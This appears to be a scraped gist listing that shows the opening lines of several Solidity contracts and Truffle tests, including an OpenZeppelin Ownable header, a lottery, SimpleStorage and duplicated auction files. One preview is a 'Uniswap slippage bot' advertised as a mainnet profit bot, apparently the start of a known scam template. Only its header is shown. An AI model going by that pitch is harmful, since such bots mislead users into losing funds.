This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) | |
| pragma solidity ^0.8.20; | |
| import {Context} from "../utils/Context.sol"; | |
| /** | |
| * @dev Contract module which provides a basic access control mechanism, where | |
| * there is an account (an owner) that can be granted exclusive access to |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //SPDX-License-Identifier: MIT | |
| pragma solidity ^0.6.6; | |
| // This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value. | |
| // Import Libraries Migrator/Exchange/Factory | |
| import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol"; | |
| import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol"; | |
| import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol"; | |
| contract UniswapSlippageBot { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: UNLICENSED | |
| pragma solidity ^0.8.13; | |
| import "node_modules/@thirdweb-dev/contracts/base/ERC721Base.sol"; | |
| contract LotteryContract { | |
| address public admin; | |
| mapping(address => uint256) public entryCounts; // Mapping to store the count of entries per address | |
| address[] public players; //Array of players who bought tickets |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: GPL-3.0 | |
| pragma solidity >=0.4.16 <0.9.0; | |
| contract SimpleStorage { | |
| uint storedData; | |
| function set(uint x) public { | |
| storedData = x; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| let Auction = artifacts.require("./Auction.sol"); | |
| let auctionInstance; | |
| contract('AuctionContract', function (accounts) { | |
| //accounts[0] is the default account | |
| //Test case 1 | |
| it("Contract deployment", function() { | |
| //Fetching the contract instance of our smart contract | |
| return Auction.deployed().then(function (instance) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| let Auction = artifacts.require("./Auction.sol"); | |
| let auctionInstance; | |
| contract('AuctionContract', function (accounts) { | |
| //accounts[0] is the default account | |
| //Test case 1 | |
| it("Contract deployment", function() { | |
| //Fetching the contract instance of our smart contract | |
| return Auction.deployed().then(function (instance) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.17; | |
| contract Auction { | |
| // Data | |
| //Structure to hold details of the item | |
| struct Item { | |
| uint itemId; // id of the item | |
| uint[] itemTokens; //tokens bid in favor of the item | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.17; | |
| contract Auction { | |
| // Data | |
| //Structure to hold details of the item | |
| struct Item { | |
| uint itemId; // id of the item | |
| uint[] itemTokens; //tokens bid in favor of the item | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| FROM DADDY TO LEIA! | |
| EVERYONE DESERVE FOR FINANCIAL FREEDOM | |
| dev & compile: @sigit_yudanto (tg) | |
| **/ | |